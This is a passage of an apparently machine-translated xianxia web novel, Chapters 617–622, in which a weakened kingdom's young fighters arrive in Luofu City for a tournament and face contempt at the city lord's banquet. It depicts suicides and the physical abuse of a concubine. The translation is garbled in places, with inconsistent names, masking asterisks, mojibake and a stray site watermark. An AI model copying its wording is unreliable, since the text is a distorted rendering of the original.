    Huafu finally said this sentence.


    At this moment, he is no longer the emperor of Guhua, but an ordinary father.


    Hua Youan shook his head, "In the face of fate, we Chinese, regardless of gender, will never give in to it!"


    This sentence caused a gust of applause in the banquet hall.


    Some veterans cried bitterly, toasted and choked up: "Zhuang, my Chinese son!"


    But more still choked silently.


    Another veteran said with a wry smile: "However, the Langren Kingdom sent a letter of credence a few days ago, claiming that if they can''t make a reasonable explanation for the death of their soldiers some time ago, they will not allow our Chinese people from their land. by!"


    Hearing these words, many people showed sad expressions.


    Everyone knows this.


    It''s okay if it''s other countries, but the ronin country is the only way for ancient China to go to the Thousand Race Conference.


    If they don''t allow it, what should we do?


    At this time, someone patted the table angrily, and said angrily: "These bastards, their soldiers repeatedly provoke my ancient Chinese nation, committing adultery and looting all the time, we have repeatedly restrained, but they have to make every inch of it, and finally annihilate them all without endurance. As a result, they Instead, it''s time to explain!"


    Many people are angry.


    But what can it be?


    Ancient China is like a giant dragon trapped in a corner, and now it can''t compete with Ronin.


    At this moment, an armored soldier came in with a wooden box.


    When they came to the front and back of the crowd, the armored soldier knelt on the ground and lifted the wooden box above his head, "Your Majesty, General Left Hussar... he died of suicide!"


    what!


    Hearing this sentence, everyone suddenly stood up.


    Hua Fu was even more pale, and said in anger: "What''s the matter?"


    The armored soldier slowly opened the wooden box, and inside was the head of General Left Hussar.


    Then calmly said: "Master General said, this... is the explanation for Ronin!"


    Hua Fu sank down on his seat and waved his hand sluggishly. A guard stepped forward to take the wooden box.


    But when everyone didn''t react to , this armored soldier drew out his sword without hesitation and killed himself on the spot.


    The dead body fell to the ground.


    There was dead silence in the banquet hall.


    After a while, someone faintly began to weep.


    Because they all understood that this armored soldier came thousands of miles to complete his command.


    Now that the task is complete, he will also follow the heroic soul of General Zuo Hussar.


    Hua Fu''s eyes burst into tears, but his face showed resoluteness, and then he raised his wine glass.


    "What they imposed on our Chinese people today will be remembered in our hearts! Chinese people, never bow our heads!"


    "No! The Chinese never bow their heads!"


    All the people in the banquet hall roared together, the bright light in their eyes was the same as their ancestors who fought the world thousands of years ago.

 Chapter 617： Family 0 will start, under Luofu City

    If you ask the chaotic land of Zhongzhou, where is the pure land that is indisputable but transcendent.


    That must be Luofu City.


    And if you ask the land of Zhongzhou, where the situation is the most complicated and the forces are the most intertwined.


    That is none other than Luofu City.


    All because it is adjacent to the place where the Thousand Race Conference is held, Tiandaoyuan.


    It is impossible to verify when the Tao of Heaven originally appeared.


    This place is surrounded by clouds and mist all year round, no matter how strong you are, you can''t enter. Only when the Thousand Clan Conference is held, a path will emerge.


    As for the situation inside, it is different every time.


    There are plains, deserts, islands, and dense forests.


    Enter it and live to the end, you are the winner.


    The rules are that simple.


    Simple to almost cruel.


    And because of the unique geographical location of Luofu City, whenever the Thousand Races Conference is held, it will become a arena for all forces.


    Someone once said.


    The Thousand Clan Conference has already begun from the moment you stepped into Luofu City.


    In this regard, Shan Ruoling of the Kalan Sect did not feel it.


    Instead, he looked at the pedestrians on the street curiously.


    Because these pedestrians have all races, they are very lively.


    After watching a peacock demon with a long tail pass by, Shan Ruoling said with some excitement: "Master, it''s so fun here!"


    Wan Chengyi''s helpless wry smile used the word "fun" to describe Luofu City.


    It seems that sometimes ignorance can be happier. For example, Wan Chengyi can see clearly that the beautiful tail dragged by the peacock demon is clearly a top killer, and it has absolutely nothing to do with fun.


    "Well, don''t just stare at others, it will be taboo." Wan Chengyi exhorted.


    Shan Ruoling let out a cry, but still looked around with interest.


    Because of the approach of the Thousand Clan Conference, the once quiet Luofu City has once again become noisy and lively.


    The various business shops on the roadside also opened their doors, and the shrewdness of the businessmen added a bit of excitement to the atmosphere that had been sober.


    And these businesses are all-encompassing, and there are all kinds of things, which opened Shan Ruoling''s eyes.


    Just when it''s lively watching.


    There was a commotion outside the city gate, and then a group of monks walked in.


    These monks are all precious and solemn, even though they walk with their heads down, they can still see the golden light looming in their eyes.


    Wan Chengyi''s heart shuddered.


    He is a member of the land of ten thousand Buddhas.


    And among the monks who came, the lowest cultivation base was Sanxian Peak.


    It seems that this time is menacing.


    I was thinking, but saw another group of monks walking behind.


    Unlike the brightly dressed monks in front of them, these monks looked ragged, and even the monks'' robes had many holes.


    But when he saw these unbelievable monks, Wan Chengyi was shocked and his face was extremely solemn.


    Because the aura of these monks is much stronger than those just now.


    It seemed that he felt Wan Chengyi''s gaze, and the thin monk who had been walking in the middle of the team slowly raised his head.


    When he met the monk''s eyes, Wan Chengyi was struck by lightning.


    The **** Buddha seal looming in his eyes gave Wan Chengyi a sense of worship.


    Although Wan Chengyi was dissipated in an instant, he felt a chill in his heart.


    How profound should this old monk''s Buddhism accomplishments be able to affect a golden immortal like himself?


    But the monk only glanced at Wan Chengyi, smiled slightly, then turned to look at the ignorant Shan Ruoling on the side.


    When looking at Shan Ruoling, the golden light in the old monk''s eyes became more and more prosperous, and the hidden cash wheel in the back of his head caused a burst of exclamation from the people around him.


    Then the monk whispered: "This woman has an extraordinary womb, but the saint woman of reincarnation will come again on the aspiration. She has a deep fate with my Buddha and should be invested in my sect and worship me as a teacher."


    Hearing this, Wan Chengyi was slightly startled, just about to speak.


    Shan Ruo Ling''s complexion gradually became gloomy.


    Although she was curious as a child when she saw new things.


    In fact, she traveled to the states with her master, and already had a deep understanding of the world of humanity.


    So when she heard the old monk''s words, her eyebrows were upset in anger.


    "Hey, this girl has a master now, so you don''t need to be babbling here! I will definitely not put you in your door and worship you as a teacher."


    After hearing what Shan Ruoling said, the old monk was not angry, but smiled slightly, then turned his head to look at Wan Chengyi.


    "The donor has the power of the four phenomena. He should teach the Venerable Dharma protector for me, and he should also be involved in my sect.


    Compared with the apprentice, Wan Chengyi is much more calm. He only smiled faintly when he heard that, "Wan Chengyi, the great guardian of Garanism, has seen a master!"


    The old monk stared at Wan Chengyi, and shook his head after a long while, "Donor, I am not saying anything, you really should teach me the law!"


    Wan Chengyi''s complexion gradually darkened, staring at the old monk, and said indifferently, "This matter will be discussed later, but I don''t know what the master would call it?"


    "My teacher is the Venerable Zen of the Kingdom of Ten Thousand Buddhas!" The several monks who had been silent all the time said in unison, their voices were mechanically rigid, which made people feel uncomfortable.


    "Oh? Why didn''t the mantra master of the land of ten thousand Buddhas come?"


    "Mantra is an evil way and has been defeated by my teacher!"


    Hearing this sentence, Wan Chengyi was terrified but shocked.


    He had fought against Mantra and knew that this monk was extremely powerful.


    Unexpectedly, he was actually defeated by this Venerable Kuchan.


    But who is this Venerable Suffering Zen?


    Didn��t you hear that the kingdom of ten thousand Buddhas had this number before?


    Wan Chengyi was wondering.


    Kuchan gave a smile of compassion, "One of you is the reincarnation of the saint of reincarnation, and the other should teach me to protect the law. This is destined, and you cannot escape."


    Hearing this, Wan Chengyi couldn''t help his temper no matter how good he was. He couldn''t help but snorted coldly, "As a cultivator, do you believe in fate? Oh, yes, you believe in the Dharma, but unfortunately we don''t believe it. ."


    Venerable Kuzen looked at Wan Chengyi with a cold face, did not refute, just smiled, and then lowered his head to continue walking forward.


    As he stepped forward, the monks who had surrounded him in the middle began to step forward.


    Seeing the back of these monks going away Wan Chengyi frowned slightly.


    He always felt that the pace of these people was a little strange, but he couldn''t tell where they came from.


    At this time, Shan Ruoling exclaimed from the side: "Master, look at the footsteps of these monks, it seems that they are all stepping on the footsteps of the previous person.


    Wan Chengyi looked at it.


    really.


    When the first monk raises his foot, the monk behind will step on his footprints exactly, and the monk behind will do the same.


    Such a ring of buckles gave it a very strange rhythm when walking.


    But no matter how they go, these monks still faintly centered on the Venerable Kuchan.


    Wan Chengyi felt cold in his heart after watching such a scene.


    Unless it is a walking dead without a soul, how can a person be so precise at every step?

 Chapter 618： Strong debut, all parties are awe-inspiring

    Just as the two masters and apprentices of Wan Chengyi were in shock, there was another noise from the city gate.


    Master Wan Chengyi turned his head and looked around.


    From a distance, a huge line of puppets was walking quickly.


    When they came to the city wall of Luofu City, these puppets took a step, stepped directly over the city wall, and walked into Luofu City.


    There was a commotion in the crowd, and the courageous even turned pale.


    But someone with a lot of knowledge couldn''t help exclaiming: "It''s a puppet, the people of Puppet Xianzong are here!"


    Hearing the name Puppet Xianzong, many cultivators couldn''t help but condensed.


    Although Puppet Xianzong is only second-rate in the cultivator sect of Zhongzhou.


    But don''t forget, in this land of Zhongzhou, there are so many cultivators.


    To be in the second-rate is already considered outstanding.


    What''s more, many people still remember the fact that the puppet Xianzong opened the ancient secret array some time ago, which shows that the strength of the puppet Xianzong will definitely increase in the future, and it should not be underestimated.


    At this moment.


    I saw many disciples of Puppet Xianzong falling down from the shoulders of the puppet.


    Then the lights around the puppets flickered, and their figures began to shrink, and soon became almost the size of ordinary people.


    Standing in front of these disciples were Liu Keke and Cang Yayun.


    Wan Chengyi and Shan Ruoling looked happy, and were about to come forward to see him.


    But the disciples of these puppet fairy sects all had serious faces, and they all separated to the sides, standing with their hands down.


    Even Liu Keke looked respectful, as if waiting for someone to arrive.


    The crowd onlookers began to whisper.


    "What''s the matter? Who are these puppet Xianzong people waiting for?"


    "My God, isn''t that older woman Cang Yayun, the head of the Puppet Xianzong? Even she is so respectful, so what is the background of those who are waiting?"


    "Shhh, keep your voice down! And your news is out of date. Now the head of Puppet Xianzong is not Cang Yayun, but the young woman standing next to her." Someone reminded.


    "How is it possible? Cang Yayun is a half-step true fairy, can that woman replace her?" The person who spoke was puzzled.


    "Hehe, just say your news is out of date! That young woman is indeed the new head of the puppet Xianzong, named Liu Keke! And I probably guessed who these people are waiting for."


    "Who?" everyone asked.


    "Wait and see! You''ll know in a while." This person said with a mysterious face.


    Just as these people were talking about it, the sky suddenly darkened.


    Everyone was shocked and looked up.


    I don''t know when there is a black cloud above the sky. This black cloud travels extremely fast, and even the light is absorbed by it wherever it passes, making the originally clear sky dark.


    In the blink of an eye, this group of black clouds flew over Luofu City.


    After circling a few times, the black cloud quickly fell under everyone''s horrified eyes.


    Until the moment it touched the ground, the black clouds suddenly dispersed, and then a sturdy team full of black armor appeared.


    As soon as this team appeared, it seemed like a gust of wind was blowing.


    The mighty power made many powerful cultivators horrified, and subconsciously stepped back a few steps, not dare to lightly grab the front.


    what happened?


    Where did this group of tough fighters emerge from?


    Many practitioners are wondering.


    A black armored warrior flew from the sky with his steel wings flapping.


    The speed was so fast that even a stream of light was dragged behind him.


    When flying to the front of this team, the black armored warrior converged his wings and began to lower his height.


    Only then did people see that there was actually a person standing on the back of the black armored warrior.


    This person is dressed in white, standing with his hands behind his hands, his robe is hunted by the wind, he can''t see his appearance, but he has an impulse to worship.


    When the black armored warrior landed at a height of one hundred feet, the man raised his foot and took a step.


    The whole person fell straight from the sky.


    boom.


    After a loud noise.


    Everyone felt that the whole street was trembling, and the place where this person was staying was shaken out of a big hole, and there were countless cracks opened on the streets of bluestone.


    With such a severe impact, the average repairer would have been shocked into meatloaf.


    But this person didn''t care.


    After seeing this man, the puppet Xianzong and the black armored warriors all gave their hands together and looked extremely respectful.


    This scene silenced the whole street for a moment.


    And Wan Chengyi and Shan Ruoling, the master and apprentice, looked at each other, and both saw the shock in each other''s eyes.


    They naturally recognize people.


    Wasn''t this person helping the puppet Xianzong open the ancient secret array, and let Cang Yayun take the initiative to abdicate, and then replaced by Liu Keke to take charge of the puppet Xianzong Xue An?


    But what happened to these black armored fighters?


    How come there is such a powerful force after not seeing him in such a short time?


    At this moment, Xue An looked around the audience, his gaze swept across everyone''s face, then he retracted his gaze, and said lightly: "Is this Luofu City?"


    "Back to senior, this is Luofu City. My puppet sect has another courtyard here and can settle down there." Liu Ke said.


    Xue An nodded, "Alright! Let''s go."


    After that, everyone turned around and left.


    Liu Keke chong Wan Chengyi and Shan Ruoling smiled slightly, and left as they said hello.


    After they leave.


    Shan Ruoling said in a desperate tone: "Master, this...what is the origin of this Chinese man?"


    Wan Chengyi looked solemn, shook his head and said: "I can''t see it, but I have a strong hunch that you must never provoke this person, otherwise no matter who you are, you will definitely suffer a big loss."


    The strong debut of Puppet Xianzong and Xue An quickly spread throughout Luofu City.


    The forces on all sides couldn''t help being awe-inspiring.


    At the same time, everyone from Shanhaizhai quietly appeared in Luofu City.


    Ziwei Shenzi sat in the hall of Shanhai Bieyuan in his spare time, fiddling with the chess pieces in his hand, and was playing against Gong Wunian.


    Brahma Dingtian and the peak masters are waiting below. UU reading


    After a while, the ziwei **** child said lightly: "Puppet Immortal Sect?"


    "Yes!" Brahma Dingtian replied.


    The child of Ziwei smiled slightly, "The inheritance of alchemy has long been cut off, and I dare to claim to be a puppet fairy sect. It''s really unscrupulous. Don''t bother about it, I will teach them how to be human when the Thousand Clan Conference is over."


    "understand!"


    At this time, the son of Ziwei fell behind, "You have lost again!"


    Sure enough, as soon as this piece fell, all of Gong Wunian''s pieces were firmly locked, and there was no possibility of counterattack.


    "Do you know why you lost?" The Ziwei godson said lightly.


    Gong Wunian''s complexion gradually paled, and then shook his head.


    "Because mortals can''t defeat the gods, in my eyes, these sects are all chess pieces on the chessboard, and only I am the one holding the chess." The Ziwei **** son said proudly.

 Chapter 619： Chinese entering the city, 4 operations

    In the next few days, with the influx of countless sect cultivators, Luofu City became more and more heated.


    What followed was that the intrigue between the various forces gradually became fierce.


    But in this complicated situation with undercurrents surging, the big sects including Puppet Xianzong all remained silent.


    Because really smart people know that no matter what kind of conspiracy you use, they are all based on strength.


    Without strength, everything is as useless as a mirrored flower.


    Xue An led Xiao Shui and others to live in the other courtyard of Puppet Xianzong in Luofu City.


    Because of the special status of Luofu City, all major sects have their own courtyards here.


    One is for the convenience of the Thousand Clan Conference, but the more important one is to gather information.


    According to Cang Yayun, the heavens entered into each Thousand Race Conference are different.


    If you can know in advance what kind of heaven you want to enter, it will naturally be of great help to get a good grade.


    But this kind of information is in the hands of Luofu City Lord.


    Only the City Lord of Luofu City can know when the Heavenly Daoyuan is opened and what the situation inside it is through the ability similar to the bloodline talent.


    No one else knew.


    This is also the reason why Luofu City''s status can be so detached, but it has not been swallowed by other sects.


    Xue An just smiled at this.


    The so-called Tiandaoyuan should be a place where the will of Tiandao in this world is generated.


    This is not too unusual.


    But for the city lord of Luofu, Xue An showed some interest.


    The intelligence can be obtained in advance, and it can be seen that this person can touch the will of heaven in this world.


    And it can be passed down from generation to generation as a pedigree talent, which is more interesting.


    Just when Xue An became very interested in it.


    That evening, an invitation was sent to the other courtyard of Puppet Xianzong.


    The invitation is very simple. Invite the head and elders of Puppet Xianzong to a banquet in the city lord��s mansion tomorrow evening.


    The inscription was the Lord of Luofu City, Luo came out.


    For this invitation, Cang Yayun was not surprised at all.


    Before each session of the Thousand Races Conference, the then lord of Luofu City will hold a dinner.


    This is already a convention.


    As Cang Yayun expected, countless invitations were sent from the city lord��s mansion, inviting people from all sects and ethnic groups to attend tomorrow''s dinner.


    Under the urge of this incident, the situation that was already undercurrent surging has caused waves again.


    Various alliances and anti-purpose dramas are being staged one after another.


    at the same time.


    Taking advantage of the moonlight, a black carriage that looked a little shabby drove slowly into Luofu City.


    The carriage passed through the bustling streets and several alleys, and finally came to a very inconspicuous inn.


    Today, this small inn has been closed early, and the shopkeeper is dressed in a new look, looking forward to it at the door.


    When he saw the carriage coming, he greeted him with excitement.


    Then the curtain opened.


    Hua Youan got out of the carriage with the two Chinese teenagers.


    At first sight, the shopkeeper was actually three young men with weak crowns. First, he was taken aback, then his eyes were red, and he said deeply: "I have seen three righteous men."


    The Hua Youan trio hurriedly avoided, not daring to accept such a heavy gift.


    Then Hua Youan clasped his fists and arched his hands, and said very sincerely: "Uncle Zhong, you have been operating in this Luofu City for many years with humiliation and rushing around for the Chinese. How dare we receive your gift?"


    After the practice that day, Gu Huaguo sent envoys to hand the head of General Zuo Hussar to the Ronin country, which bought a path.


    Then the three of Hua Youan rushed to Luofu City day and night.


    Finally arrived in the city today.


    Before leaving, someone told Hua Youan.


    After entering the city, he went to find Uncle Zhong.


    Because there is the only stronghold of the ancient China in Luofu City.


    The shopkeeper, known as Uncle Zhong, only shook his head when he heard, "I just did what a Chinese person should do. It''s not enough!"


    Then he arched his hands and said: "Three, please come with me!"


    After speaking, they led Hua Youan into a secret room in the inn.


    After sitting down, Uncle Zhong''s expression was serious.


    "Three, Luofu City Lord has already posted invitations tonight, inviting all ethnic groups to a banquet tomorrow, but they did not send invitations to the Chinese."


    Upon hearing this, the three Hua Youan all looked angry.


    "Why don''t these **** give invitations to the Chinese? Don''t the Chinese even have the qualifications to go to a banquet?" a teenager said excitedly.


    Uncle Zhong waved his hand, motioning them not to get excited, and then said in a deep voice, "The matter is here, anger will not help!"


    "What do you do then? Don''t you go?" asked another calmer boy.


    "Of course not!" Hua Youan and Uncle Zhong said in unison.


    Then Uncle Zhong gave Hua Youan a deep look and smiled bitterly, "All Chinese compatriots, dare to ask you, but a woman?"


    Hua Youan blushed slightly, then nodded and said, "Yes! My name is Hua Youan."


    Uncle Zhong was shocked and looked at Hua Youan in amazement.


    "You...your surname Hua?"


    In ancient China, only the royal family had the surname Hua.


    The boy on the side introduced: "Uncle Zhong, this is His Royal Highness the Third Princess."


    When Uncle Zhong heard this, he couldn''t help taking a deep breath, and then he knelt down to salute.


    Hua Youan hurriedly stepped forward to help.


    "Uncle Zhong, don''t be like this. I am not here as a princess, but as a Chinese warrior participating in the Thousand Race Conference!"


    Uncle Zhong looked at Hua Youan, who was still unable to hide the beautiful face even though she was disguised as a man. He didn''t know what it was like.


    He has been stationed in Luofu City for thirty years and has also experienced three Thousand Clan Conferences.


    At the beginning, the Chinese sent by them were mature men who had gone through a lot of training in a calm manner.


    But then I changed to a slightly immature youth This time, they were all young people with weak crowns. Not to mention, they had to let the three royal princesses disguise themselves as men.


    It can be seen that the current Chinese nationality has weakened to what extent.


    But even so, Uncle Zhong still didn''t see the slightest fear in the faces of these three people.


    This state also infected the loyal uncle.


    He gave a solemn expression to the three of them, "Although I have not received the invitation, I am a member of the Chinese ethnic group, so I absolutely must not miss this dinner. Leave this to me. I, Chen Zhong, even if I die, I will let the three of you go to the banquet."


    Hua Youan hurriedly said: "Uncle Loyal, don''t say anything to death!"


    Chen Zhong smiled when he heard the words, "His Royal Highness, don''t worry, I, Chen Zhong, have been in this city of Luofu for more than 30 years. I still have this contact! Don''t worry!"


    Chen Zhong did what he said. After setting up the Hua Youan three people, he left the inn that night and started working around.

 Chapter 620： The lord’s night feast, no regrets though he died

    Chen Zhong did not come back until the afternoon of the next day.


    In the inn, the two teenagers became a little anxious.


    "His Royal Highness, why hasn''t Uncle Zhong returned now? Is there any change in things?"


    The talking boy looked anxious, and at the same time he was the youngest of the three.


    Because of his natural power, he was selected.


    Hua Youan shook his head, "Don''t worry, since Uncle Zhong said that he can do it, he must be able to do it, wait a minute."


    The older boy also said at this time: "Song A, your Highness is right. Uncle Zhong has been alone in this Luofu city for decades. There must be something unique, don''t be too anxious."


    Song A curled his lips, "Jianing, don''t you talk about me here, who was so anxious that I couldn''t eat more?"


    Jianing smiled awkwardly, and then sneered, "Do you think everyone is like you, eating like a rice bucket?"


    Because Song A is born with supernatural power, so the appetite is extremely amazing.


    "That''s better than you, don''t let us fall down outside?"


    "Why don''t you say compare archery with me?"


    What Jianing is best at is archery. One-handed archery can be described as otherworldly and can even restrain some cultivators, so he was selected.


    "I''m stupid, compare with you?"


    "Then I''m stupid, I wrestle with you?"


    The two began to bicker.


    Hua Youan looked at it and couldn''t help laughing.


    Because they are all young people of similar ages, and after this time of getting along, they have become close friends long ago.


    And Hua Youan knew that the two people quarreled to ease the tension.


    In fact, why not Hua Youan?


    Although she just said to trust Uncle Zhong.


    But she knows that the world of the practitioner is extremely cruel.


    As long as you are strong, everything you do is right.


    But if your strength is low, then you even breathe wrong.


    And if you want to win tickets to the banquet with the strength of the Chinese, you can imagine the difficulty.


    Just as the three were anxiously waiting in the inn.


    In a penthouse in the City Lord''s Mansion of Luofu City.


    Chen Zhong nodded and talked to a plump butler.


    "Butler, you can do it well, find a way to get me an invitation to the Chinese! This is a trivial matter, it''s not respectful, you buy a bag of tea to drink!"


    With that, Chen Zhong handed in some silver notes.


    The housekeeper glanced at the crumpled bank note in Chen Zhong''s hand, snorted coldly, and said yin and yang weirdly.


    "Chen Zhong, I have known you for more than ten years. I thought you were an old dog who only knew how to slap a horse and flatter you. I didn''t expect you to dare to stand up for the Chinese? Why? No light?"


    Chen Zhongnuo did not dare to say anything, but just kept smiling.


    Genjin sneered: "Don''t play stupid with me, I am also wondering, what do you say about your Chinese picture? The people you sent didn''t even go in at the banquet. People played to their deaths. Did they send someone this time? And even to a banquet?"


    "Let me tell you, this time the Lord of the City feels that your Chinese are too weak, and it is also to protect you, so I deliberately didn''t send you an invitation, so please come back!"


    The chief steward of the City Lord''s Mansion took up his teacup after finishing speaking, which was obviously blasting Chen Zhong out.


    Chen Zhong did not leave, but took a deep breath, and said in a deep voice: "Great steward, my Chinese don��t want anything, just want to prove that I still exist in this world! You just have to raise your hand and let us go Banquet, we Chinese will never forget your kindness!"


    "Don''t forget my kindness? Haha, just rely on you mortals? To tell you the truth, I wouldn''t be lazy to see you if it wasn''t for the face of the guarantors you found." Geng Jin snorted coldly, and got up. Want to leave.


    At this time, Chen Zhong thumped and fell to his knees, "Great butler, please help!"


    As he said, he banged his head.


    When Genjin saw this, he didn''t even blink his eyelids. Instead, he smiled insidiously: "I have seen a lot of kowtows, Chen Zhong, I heard that you are known for a good temper. Let it be, as long as you kneel on the ground now If you learn how to bark, I agree to think of a way for you Chinese. How about?"


    Chen Zhong was slightly startled when he heard it, and looked at the gold.


    "Why? Unwilling? Then I can''t help you!" Genjin said, and was about to leave.


    "My housekeeper stay!" Chen Zhong lowered his head and said softly.


    Genjin stopped, "Why? Are you willing?"


    Chen Zhong''s face was a little pale, but he smiled very sincerely.


    "Of course I do, I was just thinking about how to learn how to bark!"


    He shouted barkingly.


    Seeing this gray-haired old man kneeling on the ground to learn how to bark, Genjin couldn''t help laughing, and then patted Chen Zhong on the head.


    "You are also a person of knowledge, nothing more, I will help you, but I said in advance, you Chinese people are dead, don''t rely on me!"


    Chen Zhong nodded vigorously, "Please rest assured, Lord Butler, if my Chinese are dead, I definitely have nothing to do with you."


    Genjin smiled, and muttered.


    "I really don''t understand you Chinese people, are they all crazy?"


    Then he left.


    After Chen Zhong was left in the penthouse, he slowly lowered his head, his eyes flashed with humiliating light, but after a while, the light dissipated, and the whole person became relaxed again, then got up and left the city lord��s mansion and returned to the inn. .


    "Uncle Zhong, how are things going?" Song A asked impatiently.


    Chen Zhong smiled and nodded, "I''m Chen Zhong going out, and all parties naturally want to show some face. It''s already done, and you can go to the dinner in the evening!"


    "Really! That''s great!" Song A happily pulled Jia Ning down to prepare.


    Looking at these two vigorous backs, Chen Zhong, who didn''t even feel sad when he knelt on the ground to school with a dog barking, suddenly felt empty in his heart.


    The words of genjin are still in my ears.


    The tragedy of the last Thousand Races Conference also came to Chen Zhong''s mind.


    Those were three young people who were equally young, and they went to the banquet with such enthusiasm, but what they brought back was a mess of flesh and blood I just didn��t know what happened this time. No changes.


    Hua Youan Bingxue was smart. Seeing Chen Zhong''s appearance, she naturally knew what he was worried about and couldn''t help but smile.


    "Uncle Zhong, don''t be sad, when the three of us made the decision to come to the Thousand Clan Conference, we were all ready. If..."


    Huayou settled down.


    "If we really can''t come back, then please remember to send a letter to my father, saying that I didn''t shame him!"


    Chen Zhong listened in silence for a while.


    There are no tears.


    Because in this world, the weak do not even deserve tears.


    Genjin didn''t break his promise, and when he was holding the lamp, he sent someone to send an invitation.


    The three Hua Youan, who had already prepared everything, took the invitation and got up to go to the City Lord''s Mansion.

 Chapter 621： The feast opens, the lights are shining

    Shanhaizhai Courtyard.


    Gong Wunian served the **** child Ziwei to change clothes with a dull expression.


    The first master sister of Shanhaizhai, who once held the power, is now completely reduced to a concubine.


    God Ziwei Ziwei looked at himself in the bronze mirror with Gao Guanbo with sword eyebrows, and nodded in satisfaction, then said without looking back.


    "Serve me, you seem to be unwilling?"


    Gong Wunian trembled slightly after hearing this, then lowered his head and said softly: "Don''t dare to read."


    "What a woman should learn most is to surrender to the strong, not to show off her cleverness. That will only make herself look ridiculous, do you understand?" The son of Ziwei said lightly.


    Gong Wunian lowered his head, his complexion was slightly pale, and said in a low voice, "Yes!"


    "I''m quite satisfied with you, as long as you serve me well or give birth to me an heir, then I can even consider taking you back to the star realm and becoming a concubine aloft from now on!"


    After speaking, the son of Ziwei turned to look at Xiang Gong Wu Nian.


    But unexpectedly, he did not see a trace of excitement on Gong Wunian''s face.


    This can''t help making him very angry.


    The powerful star power instantly bound Gong Wu Nian firmly, and then suspended it.


    "Humble woman, it is your honor to serve a powerful **** like me. What qualifications do you have to pretend to be arrogant here?"


    As the **** child Ziwei said, the rope formed by the star force suddenly shrank, and a gurgling sound came from Gong Wunian''s body, which was an overwhelming groan from the bones under the strong pressure.


    An expression of pain appeared on Gong Wunian''s face, but he still didn''t ask for mercy.


    The originally majestic face of the **** child Ziwei showed a hideous look.


    At this moment, the respectful voice of Brahma Ding Tian came from outside.


    "My son, the car is ready, shall we go now?"


    Hearing these words, Ziwei''s expression returned to normal in an instant, and the star power disappeared.


    Gong Wunian fell to the ground from midair.


    Then the son of Ziwei said lightly: "Go now."


    After that, he turned and left the room.


    Gong Wunian leaned her hands on the ground, tears looming in her eyes, and under the generous robes, her once delicate and flowery body was covered with terrifying scars.


    ����������������������������


    Luofu City.


    In a very luxurious inn.


    Leng Junxie stood by the window, playing with a piece of ancient jade that was as black as ink, and looked up at the stream of light passing by in the night sky.


    After a while, he withdrew his gaze, and a sneer appeared at the corner of his mouth.


    "The Shura tribe, the kingdom of ten thousand Buddhas, and all the major sects have arrived. It''s really lively!"


    As he said, he gently rubbed the ancient jade in his hand, "I can feel that you are eager to kill, don''t worry, the demons will eventually rule the world."


    As if responding to his words, the roar of the demons faintly came from this ancient jade.


    Leng Junxie smiled, his body gradually turned into a black mist and disappeared into the darkness.


    ����������������


    Such scenes are happening everywhere.


    But those who are interested have found that this year''s Thousand Races Conference seems to be missing an important participant.


    Yes, it is the Yaozu.


    Until now, no monsters from the Yaozu mountain range have been seen.


    Could it be that the Monster Race is not ready to participate in this Thousand Races Conference?


    Many people are excited by this conjecture.


    If the Yaozu does not participate in this Thousand Races Conference, correspondingly, the chances of other races and sects will be greater.


    After all, Yaozu''s strength is still very powerful.


    With this kind of thought, the thousand races went to the city lord''s mansion to start this feast.


    Today''s City Lord''s Mansion is very lively with bright lights.


    Dazongmen were all arranged to entertain in the inner hall.


    And some small sects simply set up a banquet in the courtyard.


    Because of the large number of visitors, this huge City Lord''s Mansion was crowded.


    When Hua Youan brought Jia Ning and Song A to the front of the city lord''s mansion, the street in front of the door was already blocked by various carriages.


    Of course, more are the repairers that Yukong flew to.


    Standing on the street, you can see countless streams of light constantly falling in the city lord''s mansion, attracting the excitement of the lively crowd.


    Hua Youan got out of the carriage from half a street away, walked to the front of the gate, then adjusted his appearance and walked inside with his head raised.


    "Wait, what are you doing?" A shrill voice sounded, and then a well-dressed doorman stopped the three of them.


    "We are here for a banquet! This is an invitation!" Hua Youan took out the bronzing invitation and handed it to the doorman.


    The man took a look, and the look on his face suddenly became strange.


    "Hehe, it''s actually Chinese..." When the word Chinese was mentioned, the man stretched his voice.


    Hua Youan hadn''t spoken yet, Song A could not restrain himself and leaned forward and said coldly: "What''s wrong with the Chinese? We are not without invitations, and with so many people, what do you mean by just stopping us?"


    The Ding Hun curled his mouth indifferently, threw the invitation in his hand directly, and said with a arrogant voice.


    "I''m happy to check, can you control it?"


    At this time, there was already a group of people watching the excitement. When they saw Hua Youan and the others with black hair and black eyes, they all started to whisper.


    "It''s actually Chinese!"


    "Tsk tusk, dare to come!"


    These comments made Hua You''an feel like a man on his back, but he still suppressed his anger and stopped Song Ah, who was about to get angry.


    "Since there is no problem, can we go in?"


    "Yes, please!" This man Ding Yin and Yang said strangely.


    At this moment, two golden lights flew by, and after falling on the ground, it was the two masters and apprentices Wan Chengyi and Shan Ruoling of the Garan Sect.


    After seeing these two people, the arrogant Mending immediately put on a flattering smile.


    "It turns out to be the guardian of the Garan Sect, please come in soon!"


    To be able to be a master here, the first thing is to have an extremely keen eye, and to be able to see through all the details of a person''s sect.


    At this point, this man did a good job.


    Wan Chengyi nodded slightly.


    At this time, Hua Youan led the angry Song A and Jia Ning into Hey, who told you to go there? Is that the place you can go? People of Chinese nationality have to go to the side hall on the side, it''s really lack of vision! "The man turned around and saw Hua Youan was about to enter the hall, and immediately shouted with another acrimonious face.


    Now even Hua Youan couldn''t help it, and said angrily: "Are you deliberately targeting my Chinese people?"


    "So what?" The man didn''t have any fear, and he was ready to continue.


    Wan Chengyi said suddenly: "Does a doorman dare to be so arrogant?"


    When he said something, the man''s face turned pale, "Master Protector, this..."


    Wan Chengyi said lightly: "Get out!"


    Of course, this man didn''t dare to have any dissatisfaction with Wan Chengyi, and immediately left after hearing this.


    Then Wan Chengyi stepped forward and smiled slightly, "Are you the people sent by the Chinese to participate in the Thousand Races Conference?"

 Chapter 622： Shiva Demon Gate, Song A vs.

    Hua Youan looked at the middle-aged man who was standing up for him, and was slightly startled, and then he arched his hands and said, "Yes!"


    "That''s right, I am the guardian of the Garan Sect, Wan Chengyi. This is my disciple, Shan Ruoling. If the three don''t dislike it, you can go in with me, how about?"


    Hua Youan and Song Ajianing glanced at each other and then nodded.


    "So, thank you so much!"


    Wan Chengyi smiled sincerely, "You don''t have to be so polite, please!"


    As he said, he walked in with the three of Hua Youan.


    Shan Ruoling didn''t understand why Master should attach such importance to these three Chinese nationalities.


    Master has never done this before?


    The Garan Sect was also considered a big sect in Zhongzhou, so it was placed in the main hall.


    After he took Hua Youan and waited for the three to enter.


    There are already a lot of friends here.


    After seeing the two masters and apprentices of Wan Chengyi, all those who had been friends with the two masters and apprentices all got up and said hello.


